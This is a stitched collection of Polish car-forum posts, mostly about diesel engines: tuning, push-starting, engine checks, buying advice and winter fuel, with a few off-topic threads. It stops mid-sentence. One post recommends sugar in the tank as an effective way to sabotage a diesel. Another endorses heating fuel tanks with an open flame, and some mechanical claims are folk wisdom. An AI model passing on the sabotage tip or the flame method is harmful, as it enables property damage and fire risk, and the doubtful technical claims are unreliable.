Aha i uważaj na wszelkiego rodzaju krawężniki i dziury. Octavia ma
bardzo nisko miskę olejową i łatwo ją uszkodzić.

  Artykuł o hipie
krakus.mp napisał:

> To ,że po lekturze wątków h.i.p.-a,zacząłem inaczej postrzegać sprawy tuningu.
> H.i.p. przywiązuje dużą wagę do ochrony środowiska naturalnego.

No rzućmy okiem co twierdzi renomowany tuner z okolic Krakowa:

"Każdy samochód przyjeżdżający do nas na tuning chipowy ma wcześniej wykonane
testy diagnostyczne oraz test na hamowni sprawdzający parametry przed
tuningiem. W przypadku samochodów uszkodzonych dokonujemy diagnozy i
ewentualnej odpłatnej naprawy.
Do tuningu przystępujemy tylko jeżeli silnik jest całkowicie sprawny. (...)
Metoda ta pozwala na 100 % wykorzystanie wszystkich możliwości drzemiących w
samochodzie. W samochodach benzynowych na bieżąco śledzimy wszystkie istotne
parametry pracy silniką łacznie z składem mieszanki AFR.
Dla samochodów z silnikiem diesla oprócz mocy i momentu cały czas kontrolujemy
charakterystykę dymienia i tak modyfikujemy program, aby normy dymienia nie
były przekroczone.(...) Programy indywidulne, które są naszą specjalnością,
wykonywane są tak, aby osiągnąć możliwie najlepsze parametry bez pogorszenia
trwałości."

Źródło: www.godula.cc.pl/index.php?mode=Teoria%20tuningu%20chipowego

A czy oprócz "wsparcia" podjąłeś także jakieś inne kroki?

  powietrze w dieslu
powietrze w dieslu
witam
czy zamontowanie w dieslu bez turbo (1.9D) intercolera da jakieś efekty typu
wzrost momentu, poprawe pracy silnika, czy taka operacja wogóle jest możliwa
(konkret: punto 1.9D). I jeszcze jedno, czy uszkodzenie/nieszczelność w
dolnej częsci układu zasilania powietrzem (styk ruła-obudowa filtra
powietrza) ma wpływ na pogorszenie osiągów, osłabienie silnika.
No i może na koniec, jaki wybrać sposób polepszenia osiągów takiego silnika,
inwestować w powietrze, wydech, a może magnetyzer Maksor etc... (turbo
odpada, $ aż tak mi nie zależy na osiągach...)

  2.7 hdi 407sw czy da się zwiększyć moc?
Peugeot 407 a tuning.
Pracowałem w serwisie Peugeota i kilka opinii mogę wygłosić:
1)407 to najbardziej awaryjny po 307 Pugeot- mieliście wezwania do serwisu na
tzw. kampanie?np. brak mocy, uszkodzony zawór EGR?
2)Hdi to ten sam typ silnika co Tdi tylko nazwa Tdi jest zastrzeżona dla Grupy
VW-Audi
3)najbezpieczniej jest założyć powerchip który w turbodieslach daje naprawde
dobre wyniki
4)ale z doświadczenia wiem że Wam się te auta rozlecą
aaa.... Nie zwróciliście uwagi, że Tunerzy podkręcają diesle VAG i Fiat-Alfa, a
na Peugeota i resztę PSA kręcą nosem? to chyba oczymś świadczy...
Moja rada Panie taka:ciesz się 407 dopuki działa.
SZCZERZE I BEZ ZŁOŚLIWOŚCI

  Ulatwienie dla zlodziei
robert888 napisał:

> samochodów nie kradnie się dla silników, tak jak nie kradnie się
dla "wnętrza".
>
> Ile w końcu ktoś potrzebuje sobie wymieniać skórzanych tapicerek czy bloków
> silnika? Już lepiej jakby znakowali głowice silnika, bo częściej można
> uszkodzić niż blok:)
>
> Samochody są kradzione głównie dla elementów "zewnętrznie uszkadzalnych" -
> blacharka, zderzaki, szyby, koła, lampy, ew. poduszki powietrzne. Cała reszta
> to margines.

To masz o tym niewielkie pojecie ja niestety troche wieksze.Kiedys bardzo
popularny byl VW multivan wlasnie ze wzgledu na jego wnetrze, placili za sam
komplet po 10-15 tys i tylko jak sie jakis trafil na obcych tablicach
najczesciej przepadal- ile tych busow zostalo przerobionych z zwyklych
dostawczakow?
Kradnie sie samochody rowniez pod specjalne zamowienie. Jesli nowoczesny silnik
diesla kosztuje uzywany nawet 10tys i wiecej to jesli ktos bedzie
potrzebowal taki to zamowi odpowiedni samochod tylko dla silnika a reszta
bedzie dodatkiem jakim byl wczesniej silnik do czesci blacharskich.

  Jak rozpoznac "dobry" silnik?
1. chrobotanie to raczej swiadczy o agonii. Dzwiek dojechanych panewek okreslilbym raczej jako gulgotanie, ktore nasila sie pod obciazeniem. To chrobotanie to moga byc hydrauliczne popychacze trzonkow zaworowych. Jest to metaliczny dzwiek. Jego pojawienie sie i zanikanie swiadczy o tym, ze te popychacze beda do wymiany, ale wtedy, gdy dzwiek przestanie zanikac

2. A niby czym ma pryskac z otworu, jesli glowica jest stale i pod cisnieniem smarowana olejem silnikowym? Niektore silniki maja przeslony, ktore zapobiegaja pryskaniu, a niektore nie. W mojej mazdzie otwarcie wlewu podczas pracy silnika powoduje znaczne zmniejszenie obrotow i jest to normalne. Z wlewu nie moze dymic.

3. Nie powinno. Nawet sobie nie wyobrazam jak mogloby stamtad cokolwiek tryskac. Moze zas dymic. Nie swiadczy to o agonii, ale o naturalnym zuzyciu. Kwestia tego, czy katastrofalnego czy akceptowalnego to inna sprawa.

4. Na korku nie moze byc "maselka" - czyli mieszaniny wody i oleju. To moze swiadczyc o uszkodzonej uszczelce pod glowica lub tak dlugim okresie eksploatacji oleju, ze "wylapal" wode z atmosfery.

diesel:

1. tak. Ten silnik wymaja rzetelnej naprawy - reanimacja raczej nie pomoze. Stary diesel z reguly wytrzymuje wieksze przebiegi niz benzyna.

2. Bzdura. Jesli w samym siniku i zasilaniu jest wszystko w porzadku diesel odpali. Moze z trudem, ale odpali. Im nizsza temperatura tym bardziej w d... dostaje akumulator. W benzynie tez.

3. Jezeli zatankujesz kiepskie paliwo, to nawet dodatki moga nie pomoc.

Jezeli sie nie znasz to proponuje wizyte w warsztacie. To nie jest kalkulator, ktory dziala lub nie.

  Porada vw czy toyota a może skoda
Wszystkie z wymienionych sa godne polecenia chociaz octavia nie oferuje duzo
miejsca w tylnym rzedzie choc dla dzieci w zupelnosci wystarczy za to duzy
bagaznik ma i powinna byc wzglednie najtansza.Trudno bedzie ci znalezc tpyote
diesla a passaty sa dosc drogie ,warto jeszcze dorzucic do proponowanych mondeo
ale tam znowu disel bywa zawodny i rdza lubi sie pojawic podobno.
Polecam passata mialem i bylem bardzo zadowolony ale musi obowiazkowo byc bez
powaznego wypadku i najlepiej sprowadzony z Niemiec ale udokumentowany dobrze
jest poszukac jakis poobijany przetarty lekko stukniety raz ze taniej kupisz
a dwa ze wiesz przynajmniej co bylo uszkodzone i jak .Passat duzo miejsca
wszedzie bardzo dobrze wykonany lepiej chyba niz nowy a silniki diesla choc
glosne na zewnatrz to raczej bezproblemowe i malo czule na zla jakosc paliwa.

  Mercedes 124 300E na gazie? da rade?pomozcie..
Otóż sekwencja nie pasuje do k/ke-jetronica wcale. Tam może być wtrysk ciagły
lub zwykła instalacja z mikserem. Dobrze dostroić merca potrafi ponoć niewielu
gazowników, często i szybko zapiekają się nieużywane wtryskiwacze. Małe bum
może uszkodzić przepływomierz-koszty :/ Takie auto może przyzwoicie jeździć na
LPG, ale na pewno nie tak dobrze jak na benzynie. Równie dobrze może jeździć
ciulato. Biorąc pod uwagę jakosć silników uważam, że zdecydowanie lepszym
wyjściem jest kupno diesla.

  Jak sprawdzić silnik diesla?
kocoor.com napisał:

Ja słyszałem tylko o jednym tj. jeżeli w
> nierozgranym diesel-u wciśnie się gaz do dechy i chlapie oleiste "coś" z
> rury, to nie ma tematu samochodu. Pytanie dotyczy silnika wolnossącego 1.9
> SDI VW Polo.

No sposob iscie profesjonalny z tym "czyms" z rury.Stan silnika w
pewnym stopniu mozna ocenic po jego pracy ale tu trzeba miec
doswiadczenie i sie znac.
Zle swiadczy o silniku jesli ma duze problemy z uruchomieniem jesli
jest mocna rozgrzany to samo dotyczy zimnego silnika ale tu przyczyna
moze byc zle ustawiony zaplon/pompa lub uszkodzone swiece zarowe.
Trzeba sprawdzic filtr powietrza czy nie jest zabrudzony olejem, wyjac bagnet
i sprawdzic czy nie widac wyraznego dymu i przedmuchow ,to samo przy
korku wlewu oleju .Sprawdzenie na analizatorze spalin tem moze wiele
powiedziec i o samym silniku jak i o osprzecie.Trzeba sprawdzic czy w
oleju nie ma sladow plynu i w plynie sladow oleju /spalin co moze swiadczyc
o uszkodzonej uszczelce glowicy lub samej glowicy
Ogolnie jesli sie nie znasz to duzo ryzykujesz ,koszt naprawy silnika
diesla jest wysoki a i uzywane silniki w dobrym stanie sa drogie.Albo
jedz na warsztat i tam sprawdz silnik albo wez ze soba kogos takiego kto
sie zna i bedzie potrafil ocenic stan silnika chociaz nie da sie w
ten sposob wyeliminowac ryzyka.

  Mercedes beczka dla początkującego kierowcy
Beczka to fajny samochód ale wg mnie nie nadaje się dla początkującego kierowcy.
Miałem W115 i W 123. Beczka 240d. Auto owszem jest bezawaryjne ale pod pewnymi
warunkami. Diesel wymaga nieco innej techniki jazdy niż benzyniak. Zakładam, że
uczyłaś się jeździć na benzynie. Tu wciskanie gazu do oporu nic nie da , oprócz
chmury sadzy z tyłu:) Remont silnika w dobrych częsciach wcale nie jest tani.
poza tym byle "fachowiec" dobrze jej nie naprawi.
Auto jest skrętne ale niestety jest też naprawdę duże. Cudów nie ma potrzebuje
sporo miejsca do zaparkowania. Jak się przesiadłem na 190 to odczułem:)
Tak na poważnie w beczce powinnaś się spodziewać uszkodzeń główki mostu,
cieknących wtryskiwaczy, polskiej uszczelki pod głowicą:), uszkodzonych
poduszek pod ławą zawieszenia itp. podobnych pierdół. Części nie są drogie ale
jeśli nie masz zaprzyjaźnionego mechanika to nie polecam bo koszty napraw cię
zjedzą.
pzdr

  Silnik diesla- pomocy.
Witaj Basiu,
Nie wiem co to za auto i jaki silnik posiada.
Powiem Tobie jest jedna zasada przy dieslach ktora sie tak tlumaczy;
Dym bialy zaplon za wczesny czyli czas wtrysku przyspieszony.
Dym czarny zaplon za pozny czyli czas wtrysku opuzniony.
Przyczyny nalezy szukac jezeli jest to starszy typ w srubach mocujacych pompe
sa obluzowane .jezeli jest to nowszy typ to psikusa plata elektronika ,ktora
opoznia i przyspiesza czasy wtrysku.Przyczyna moze sensor podajacy temperature
bloku do kompa jest uszkodzony.
Oddaj do autoryzowanego warsztatu taki jak Bosch-diesel.Oni w piec minut
zlokalizuja przyczyne.Pzdr.Michal

  Intercooler
wydaje mi sie ze chyba kazdy seryjny intercooler w dieslu jest
powietrze/powietrze, czyli nie ma prawa sie w nim nic zepsuc nawet po 100
latach, chyba ze bedzie uszkodzony mechanicznie, przerdzewieje lub rozszczelnia
sie polaczenia

zeby to wykluczyc wystarczy go obejrzec

temperatura silnika ma minimalny wplyw na jego prace, bo intercooler jest obok
chlodnicy za zderzakiem i cieplo silnika z powodu odleglosci go nie nagrzewa

  disel na "pych"
przykład..
Cały czas zakładasz, że odpalający z pychu robi to umiejętnie - czyli myśli. Ja
tego nie zakładam, bo jeżeli myśli, to zna stan swojego auta i odpowiednio dba
o nie.
Przykład: zepsuty alternator nie daje odpowiedniego ładowania na akumulator.
Akumulator siada, a ty nie możesz odpalić. Prąd na świece żarowe idzie z
akumulatora - czyli go nie ma. Elektronika silnika dostaje prąd z alternatora-
czyli go nie ma. Uprawiasz zapał na pych. Zanim zapewnisz odpowiednie(?) obroty
i przerzucisz gęsty olej - musisz ok 5 razy "kopnąć" sprzęgłem. Jak duże masz
wtedy przeciążenia na pasku??? A przy odpale z akumulatora przeciążenie
występuje 1 (słownie - jeden) raz. I to zakładając, że ci odpala, co przy
uszkodzonym alternatorze nie jest takie pewne za pierwszym pychem. Nie odpala
(bo przecież nie wiesz co się stało - inaczej byś kupił akumulator) - operacje
powtarzasz. Nowy pasek dobrej firmy to wytrzyma - 5 letni kiepskiej firmy po 70
tys przebiegu przy 5 stopniowym mrozie i niedbanym silniku wytrzyma niezbyt
długo. A chyba nie chcesz mi wmówić, ze na pych odpalamy nowe auta lub
serwisowane.
Dlatego w dieslu zaleca się "pożyczanie" prądu z innego akumulatora - jedno
kopnięcie zamiast 5 z pychu.
Pozdrowienia...

  Zapalanie "na pych"
Teoretycznie wolno "na pych" zapalać tylko samochody z rozrządem napędzanym łańcuchem lub kołami zębatymi (np. Warszawa lub nowy silnik TDI VW Transportera).
Przy zapalaniu na pych lub przez holowanie, powstają duże naprżęnia w napędzie rozrządu (w monecie puszczenia sprzęgła) i pasek może się zerwać, może przeskoczyć, ew. może ściąć zęby paska. Każda z tych awarii zazwyczaj kończy się zderzeniem zaworów z denkami tłoków, co (szczególnie w dieslu!) może spowodowac bardzo poważne uszkodzenie silnika (włącznie z pęknięciem głowicy, a nawet skrzywieniem wału korbowego).
Nie zawsze zależy to od długości paska - np. Polonez miał bardzo krótki pasek, a i tak bardzo lubił się zrywać - co kończyło się wymianą tłoków, zaworów, lasek popychaczy, a przy okazji remontem silnika i głowicy...

  padl akumulator, co dalej
W moim pokoleniu męzczyżni mieli od dziecka kontakt z techniką. Nie chodzi o
gruntowną wiedzę, bo ta jest osiągalna przez nielicznych, ale o zasady i
znajomość praw przyrody. A zasady nie zmieniły się od początku świata.
Oczywiście szczegóły różnych rozwiązań powinno się poznać, jeżeli zamierza się
dłubać w nieznanej konstrukcji, ale od tego są książki i ludzie. Naczelną
zasadą, podobnie jak w medycynie jest "primum non nocere" i trzeba wiedzieć,
jakich działań nie należy podejmować ze względu na ryzyko spowodowania
większych uszkodzeń. Przeczytałaś o spaleniu podgrzewanego suszarką auta, a czy
oglądałś w dzienniku kierowców autobusów grzejących miski olejowe zapalonym
kwaczem? To jest jedna z najstarszych metod uruchamiania zamarzniętych
silników. Ten od suszarki nie używał owartego płomienia, przypuszczalnie robił
to nie pierwszy raz, a tym razem zawiodła suszarka. A gdybyś to Ty stanęła w
nocy na pustej bocznej drodze, bo paliwo (diesel) stężało od mrozu (poniżej -
22C),komórka nie ma zasięgu albo padła i masz w perspektywie, albo iść w mróz w
nieznane przez mroźną zamieć, albo zamarznąć, bo przecież poniżej godności
kobiety jest podgrzewać płomieniem zbiornik i filtry paliwa. Akurat opisałem Ci
przygodę mojego kolegi, któremu sprzedano letnie paliwo jako zimowe. I sobie
poradził.

  Czy ustępujecie żeglarzom z prawym halsem :) ?
Oczywiscie wszedzie trzeba uzywac glowe.Np auto pilota uzywa sie na pelnym
morzu,wtedy kiedy nie halsujemy,albo kiedys nam zniknal wiatr i flauta tylko
spac,wlaczýlismy nasz silnik i z Dubrownika na auto pilocie przynajmniej 55mil
plynelismy.Jak przyszlo uzupelniac to cholera brakowalo ponad 500l paliwa ale
diesel tani w Kroatien.
Zmienie temnat czy ktos z Was spotkal delfiny szly z nami rownolegle,ale wtedy
zeglowalismy na zaglach.
ie pamietam nazwy wyspy nale kolo nie jest zatopiona forteca latajaca z II
Wojny Swiatowej.Lezy na 60m z wypuszczonym podwoziem zupelnie nie
uszkodzona.Nurkowie robia cale wycieczki i zwiedzaja.Jest kompletna.Szkolki
zaawansowane tez tam trenuja.Czý ktos z Was nurkuje?Moji chlopcy porobili
licencje jeden do 20m a drugi zrobil w USA pod okiem SEALS instruktora licencje
do 20m i pozniej w Pukhet w Thailland do 36m.Starszy zrobil szwedzka licencje i
pierwsza zime nurkowali na Sundzie,schodzili do poniemieckich wrakow,ktore sa
najwieksza atrakcja.Oczywiscie sie nie szabruje tylko zwiedza i fotografuje.
Zapytacie dlaczego w zimie temperatura przy dzisiejszym sprzecie nie odgrywa
roli a w zimie jest cudowna przejrzystosc wody,plankton opada na dno.
Pzdr.Sky.

  kanadyjski okret podwodny ,,chicoutimi" dryfuje na
kanadyjski okret podwodny ,,chicoutimi" dryfuje na
atlantyku na zachod od wybrzezy szkocji po tym jak pozar uszkodzil mu silniki
diesla . chicoutimi[dawny brytyjski,,upholder"] musial sie wynurzyc gdy
zapalila mu sie instalacja elektryczna, pozar szybko ugaszono.Jednostki
typu ,,upholder" to ostatnie dieslowskie okrety podwodne royal navy, weszly
one do sluzby na poczatku lat 90.Ale wkrotce odtawiono je do rezerwy gdyz w
armii wprowadzono oszczednosci ostattecznie w 1998r. cztery sztuki zakupila
knada za 600 milionow dolarow.
pozdrowienia
a jeszcze zaloga liczy 57 osob

  Ciśnienie sprężania w dyzlu
'bert.d.s ma racje.
To jest teoria i masz racje ,ale praktyka potwierdza wypowiedz Bert.d.s-
a.Ponizej 900C silnik nie wystartuje.Tak sa budowane olbrzymy w ciezarowkach.W
autach osobowych przy tak duzych cisnieniach musialkyby byc silniejsze
materialy a zarazem ciezsze aby tego uniknac pomaga sie dogrzewaniemn zarazem
wyrownujac w ciagu tych kilku sekund temperatuyre co przy zaplonie nie
doprowadzi do uszkodzen tzw termicznych (peknieta glowica)itp.
Wracajac do Turbodiesla on sie kreci znacznie szybciej niz normalny diesel i w
trakcie wiekszych obrotow zachodzi to samno zjawisko wytworzenia tej temperatury
plus elektronika steruje wtryskiem a nie pompa mechaniczna,ktora tak szybko sie
krecic nie moze.Dlatego ograniczono cisnienie pracy i zblizono ten silnik
bradziej do benzynowca moc osiagnieto turbo agregatem i zarazem doprowadzono do
takiej samej prawie zywotnosci jak w starym typie diesla.
Pzdr.Sky.

  Renault 1.9 dCi i 5 razy naprawiana turbina .
Renault 1.9 dCi i 5 razy naprawiana turbina .
Historia :
- 40 tyś km - uszkodzenie skrzyni
- 60 tyś km - wymiana turbuny
- 90 tyś km - awaria turbiny
- w ciągu następnych 20-30 tyś km turbina była naprawiana 2x
- 140 tyś km turbina do remontu i oprócz tego planowanie głowicy i
uszczelnienie silnika
- po 11 miesiącach turbina znów nawaliła

Powiedzcie mi dlaczego w salonach sprzedaje się szroty ? W czym jest ta
oszczędność przy kupnie nówki Renault z dieslem ? Być może te Renaul to
wyjątek ,ale tak samo trafiają się wyjątki w tzw. "szrotach" z zachodu .
Jedyny plus dla właściela nówki to gwarancja ,ale i tak musiał płacić 11
tyś ,za części ,bo niektóre przypadki były już po gwarancji .

  NO I JEST! CITROEN C5, 2003 R. TURBO DIESEL:)
silikoplast napisał:

> żadna frankofobia, seryjne uszkodzenia pompy wtryskowej - to standart w
> silnikach HDI, do tego pompa paliwowa choć już nie tak często, i do tego
> szwankująca elektronika. poza tym super auto, naprawdę zazdroszczę.

No to jestem dzieckiem szczęścia! ;-) Trzeci HDi i... nic. A zaczynałem od HDi w
Xantii (ponad 100 tys. km). Potem była "piątka" (prawie 100 tys. km). Teraz
znowu HDi. Wszystkie w dwuletnim leasingu, więc chyba nie jest to jego wina! ;-)
Daleki byłbym od opinii, że to auto jest super. W mojej ocenie nie odstaje od
średniej usterkowości aut tej klasy za tą kasę.

Acha, bym zapomniał - diesle są do d..y.

Podpisano: Dziecko Szczęścia

  jakies świnstwo do ON co rozwali silnik??
Cukier jest swietnym srodkiem do sabotazu,ale trzeba pamietac ze tro niedziala
od razu lecz po pewnym czasie i to bardzo skutecznie.Czas ten wynosi okolo
jednej doby.Na ogol juz sie nie plucze tylko wymienia te czesci ,a mozna tylko
plukac w wodzie gdyz cukier sie swietnie wiaze z woda.
Do tych czesci mozna zaliczyc pompe wtryskowa ,wtryskiwacze i cala instalacje
wtryskowa. Koszt idace w bardzo duze pieniadze.
Ratunek;
Kiedy ktos w
Wam wrzuci cukru do tanku to nalezy paliwo spuscic przed uruchomieniem silnika,
nastepnie wlac do pjemnika i zmieszac z woda i zostawic.Cukier sie zwiaze z
woda i opadnie na dno paliwo spuscic rureczka i dalej jezdzic.Doptyuczy diesla
i benzyny. W zimie wystarczy zostawic na mrozie i ranozlac czysta
benzyne,reszta jest zamarznieta. Robilem takie doswiadczenia na zlomie,naprawde
funkcjonuje sprawdzone.Tosanmoi dotyczy paliwa zmieszanegoz woda i innymi
swinstwami,wystarczy wlac do wiadra przykryc na mrozie i nastepnegodniazlkac
czysciutka benzyne.Oczywisccie taka benzyna jezeli ma byc uzyta dosilnika
wtryskowego to musi byc przepuszcona przez fitr inaczej uszkodzi sie instalacje
wtryskowa.Nadaje sie odrazu do silnikow gaznikowych lub na podpalke.
Pzdr.Sky.

  wyjazd do holandi po zakup auta
wojtassss3 napisał:

> wszedzie internet wszystko woadomo to znajdzi mi golfa 2001-2002 nie bitego
za
> 4000 tys Euro. albo ktos tu kity wkreca albo nie wszystkie samochody sa w
> internecie?? tak wiec jako_tako moze rozszyfrujesz co tu jest grane

Zapomnij o golfie 4 z tego rozcnika za taka kwote.N chyba ze uszkodzony.
W niemczech zadbany golf z tego rocznika z silnikiem diesla to kweta czesto
ponad 10tys euro.

  rozruch Diesla na holu
crannmer napisał:

> loyezoo napisał:
>
> > Możesz zerwać pasek rozrządu
>
> Pierwsza bzdura.
> Nie parkuj tylem, bo mozesz rozbic samochod.
> Nie zmieniaj biegow, bo zepsujesz skrzynie biegow.
>
> > wtedy straszna bieda (generalnie silnik do wymiany
>
> Druga bzdura
>
> > Ale przy odpalaniu na holu w trakcie puszczania sprzęgła-
> > równocześnie "wspomagaj" go rozrusznikiem.
>
> Trzecia bzdura.
>
> Trzy zdania, trzy bzdury.
>
> MfG
>
> C.

Dlczego bzdury ?
Zapalanie na hol zwlaszcza diesla niesie za soba ryzyko uszkodzenia paska
rozrzadu a to prawie w kazdym silniku diesla powoduje jakies uszkodzenia w
silniku.
Napewno zerwany pasek uszkodzi przynajmniej zawory w silniku o ktorym mowa.

Co do tego wspomagania rozrusznikiem to sie zgadzam to raczej nienajlepszy
pomysl.
Generalnie po to samochody maja rozruszniki zeby uruchamiac silnik
wlasnie w ten sposob .

  rozruch Diesla na holu
waskes29 napisał:

> Dlczego bzdury ?

Juz tyle razy pisalem.

> Zapalanie na hol zwlaszcza diesla niesie za soba ryzyko uszkodzenia paska
> rozrzadu a to prawie w kazdym silniku diesla powoduje jakies uszkodzenia w
> silniku.

Nie samo zapalanie, a mocno niewlasciwie przeprowadzone zapalanie. Tak jak kazdy
inny niewlasciwie wykonany manewr niesie ryzyko czegos albo kogos uszkodzenia.

Wlasciwie przeprowadzone zapalanie obciaza pasek mniej, niz zapalanie
rozrusznikiem z silnego akumulatora (np. przy pomocy startowej).

> Napewno zerwany pasek uszkodzi przynajmniej zawory w silniku o ktorym mowa

Miedzy uszkodzonymi zaworami a "generalnie silnik do wymiany" jest IMHO spora
roznica.

> Co do tego wspomagania rozrusznikiem to sie zgadzam to raczej nienajlepszy
> pomysl.
> Generalnie po to samochody maja rozruszniki zeby uruchamiac silnik
> wlasnie w ten sposob .

Tez jestem tego zdania. Ale nie nalezy uzasadniac slusznych wypowiedzi bzdurnymi
argumentami.

MfG

C.

  Przelewanie diesla... benzyną?
Jak kiedys mialem diesla to nawet w ksiazce serwisowej stalo napisane, ze jak sa porzadne mrozy, to warto wlac benzyne. Przyznam, ze nie pamietam w jakiej proporcji. Mowa tu byla o czasach, gdy paliwo zimowe mialo raczej umiarkowane walory i wytracala sie z niego parafina juz przy -10oC. Ta benzyna wlasnie sluzy jako rozpuszczalnik do parafiny. Benzyna zas nie rozpuszcza wody. To zalatwia np. spirytus. Benzyna silnika sie nie rozwali. Jezeli tej benzyny nie bedzie za duzo, to nie uszkodzi rowniez pompy wtryskowej, ktora jest smarowana wlasnie paliwem diesla. Jak to wyglada w nowoczesnych dieslach nie wiem.

  kopcący oplowski diedel
Diesel kopcacy pod obciazeniem to jest;
problem z wtryskiwaczami.W momencie obciazenia juz nie wysteopuje dozowanie
paliwa lecz paliwo sie leje do komory. Powod zla regulacja wtryskiwacza.Oddac do
warsztatu niech sprawdza przy jakim cisnieniu sie otwiera.Wyreguluja lub wymienia.
Ciekawe ze tego nie wychwicili na kontroli rocznej.Nie powinien dostac
przegladu.To jest powazne uszkodzenie.Jazda dluzej z takim silnikiem doprowadzi do:
pekniecia kolektora wydechowego.Zanieczyszczanie srodowiska cancerogennymi srodkami.
Pzdr.Sky.

  Wlałem i nic...
przebrnalem... podobalo mi sie, konkretnie i na temat, bez dziennikarskiej
sraczki mysli.
"obawiam" sie jednak, ze dla wiekszosci ludzi przebrniecie przez to i
wyciagniecie praktycznych wnioskow bedzie niemozliwe... ;-) zreszta ludzie i
tak beda robili swoje, czyli lali co tansze lub innymi slowy na co warunki w
danej chwili im pozwalaja.
na technologii produkcji paliw sie nie znam, choc liznalem ten temat nieco na
studiach. ciekawy jestem co mialby do powiedzenia ktos z wewnatrz rafinerii,
jak to wyglada i jak te normy PN sa przestrzegane w praktyce. obawiam sie ze z
tymi normami moze byc tak jak w biednej Jelfie...
jako praktyk jezdzacy dieslem i obserwator zycia moge powiedziec tyle, ze
wypielegnowane diesle sprowadzone z niemiec prawdopodobnie przezyja wiecej niz
nam sie wydaje (wlasnie dzieki temu ze od nowosci byly jezdzone na dobrym
paliwie). a nowe kupione w polsce i jezdzone na naszych paliwach pewnie nie
przezyja polowy z tego (bez istotnych usterek). zreszta czesto trudno
powiedziec jakie sa rzeczywiste skutki uszkodzen silnikow diesla, czy jest to
paliwo, czy popie.... styl jazdy wiekszosci polskich kierowcow, czy wady
konstrukcyjne silnikow, czy paliwo czy jeszcze cos innego. jedno jest pewne, sa
udokumentowane przypadki awarii pomp po zatankowaniu paliwa niewiadomoego
pochodzenia... niezaleznie od tego czy jest to OO czy ON. jezeli wiec lac ON
czy OO to tylko z pewnego zrodla! :-)
pzdr,
grr

  Fiat Pumpo 1.3JTD vs Skoda Fobia 1.4TDi
Alternatywą za kwotę niewątpliwie ponad 40tys. może być np. 4 latek Ford
Mondeo, który wprawdzie bedzie kosztowniejszy jeżeli chodzi o ubezpieczenia,
ale jeżeli sądzić po poprzednich modelach zrobi 300tys. bez remontu.
To tylko spekulacje - jak dotąd każdy nowszy model jest mniej trwały.
Moze to być toyota, nie podam modelu, bo można pewnie sprowadzić różny, która
też z 300tys. nie będzie miała problemu.
Moze to wreszcie być toyota corolla z milionową gwarancją.

Sam wśród różnych aut mam Fabię prawię nową, ale widzę, że trzeba się z nią
obchodzić jak z jajkiem, a opinia serwisów jest taka, że jak się uszkodzi
silnik to lepiej wymienić bo brnięcie w kolejne remonty jest kompletną porażką
finansową. Aczkolwiek nie jest to model z dieslem, to opinia na temat silnika
fabii 1.4d przytoczona przez kogoś w tej dyskusji mi wystarczy w zupełnosci.

  Czy warto? - Peugeot 106 xn
1x 106 tka
możesz wierzyc lub nie ale znajomy ma od prawie 3 lat - sprowadzony.
93 3D i nic nie wymienił <brak uszkodzeń> tylk oexploatacja.

samochó prosty konstrukcyjnie ale o Niebo lepszy od
CC/SC/Tico/Matiz/Starlet/swifta.

licz sie z przebiegiem koło 200tyś wymianami tarcz i bębnów . łożysk ale za
taka cenę nic lepszego nie kupisz.

a 106/306/ax/saxo są to udane samochody z dobrymi silnikami diesla i
benzynówkami.

mój dobry kumpel miał ax z 93 zrobił nim ponad 300tyś silnik remont i jeździł
by dalej gdyby nie kobiueta co wjechała w bok - kasacja.

owszem są usterki ale kazdy samochód może miec swoje słabe punkty - jak
człowiek i tylk ozalezy jak popzredni właściciel-e o niego dbali.

nie zgodze sie z opinnią że starletki sa takie małokłopotliwe.

bzdura - nikt niczego nie zagwarntuje ci w 12letnim wozie i niezaleznie jakiej
byłby on marki i kraju produkcji. wszystko się zużywa tak samo.

ja poelcam bo sa to samochody ładne jak na swój wiek.

  podobno w autach z LPG psują sie silniki
Jak sam słusznie zauważyłeś, to jest mit. Silniki, to urządzenia mechaniczne,
które ulegają uszkodzeniom, tym bardziej, jeżeli właściciel nie potrafi o taki
silnik zadbać. Choć, nie wyobrażam sobie porównania silnika z przebiegiem, na
przykład 300 tyś, który hulał na LPG, a silnika z takim samym przebiegiem,
tylko, że diesla. Poza tym, dochodzi też jakość mieszanki - są stacje, których
kierowcy nie polecają (szczególnie na CB), nikt tego oficjalnie nie mówi, ale
między wierszami wyczytać można. Zresztą, to samo jest z innymi paliwami, nie ma
się co oszukiwać. Ja tankuje na Neste, raz, że taniej, bo nie ma ludzi do
tankowania, a dwa, że nie ma komu kombinować...

  Hamowanie silnikiem a awaryjność dwumasowego koła?
Oczywiście, wielokrotnie poruszany temat. Nawet producenci aut z silnikami
diesla z dwumasowymi kołami zamachowymi stanowczo zakazują w instrukcji
hamowania silnikiem. Uszkodzenie w ten sposób koła dwumasowego nie podlega
reklamacji i za naprawę trzeba płacić z własnej kieszeni.

  Hamowanie silnikiem a awaryjność dwumasowego koła?
szkariota napisał:

> Oczywiście, wielokrotnie poruszany temat. Nawet producenci aut z silnikami
> diesla z dwumasowymi kołami zamachowymi stanowczo zakazują w instrukcji
> hamowania silnikiem. Uszkodzenie w ten sposób koła dwumasowego nie podlega
> reklamacji i za naprawę trzeba płacić z własnej kieszeni.

np który producent tak twierdzi? nie wyssałeś tego aby z jakiego brudnego palca?
w instrukcji i30 ani słowa o szkodliwości, a dwa mocniejsze diesle AFAIK mają
dwumasowe.

  Co kupic do 23000 zl. Jakie oszczedne kombi?
Co kupic do 23000 zl. Jakie oszczedne kombi?
Najwazniejszym kryterium dla mnie jest awaryjnosc.
Zastanawiam sie nad kupnem Astry II z 1999 roku. Mam problem czy wylozyc
wiecej kasy na turbo diesla 1.7, czy za mniejsza kase kupic benzyne 1.4 i
przerobic na gaz lub kupic od razu z gazem? Czy wogole jest sens kupowac
samochod, ktory przejechal 80 tys. km na gazie z instalacja za 1500 zl?
Pytanie do eksperta. Czy mozna zdiagnozowac samemu silnik, czy lepiej od razu
udac sie do stacji diagnostycznej? Jak sprawdzic czy gaz nie uszkodzil
silnika?

  Diesel zimą
Diesel zimą
Witaj,
temat wałkowany wielokrotnie, ale sie powtórzę, sukcesem prawidłowego
zapalania silnika wysokoprężnego w zimie jest:
1. właściwe paliwo, kupowane na sprawdzonych stacjach. Ponadtoo należy zadbać
aby nie zgęstniało zbyt mocno w wyniku wytracania się z ON parafiny, w tym
celu kiedys wlewało się denaturat a obecnie specjalne dodatki do "ropy" (
dostępne na każdej stacji benzynowej)
Z dawkowaniem paliwa ściśle związany jest filtr paliwowy i odstojnik. Filtr
przed zimą wymienic na nowy a z odstojnika spuścić wodę.
2. Instalacje elektryczna:
pamiętać, że wraz ze spadającą temperatura za oknem gwałtownie spada
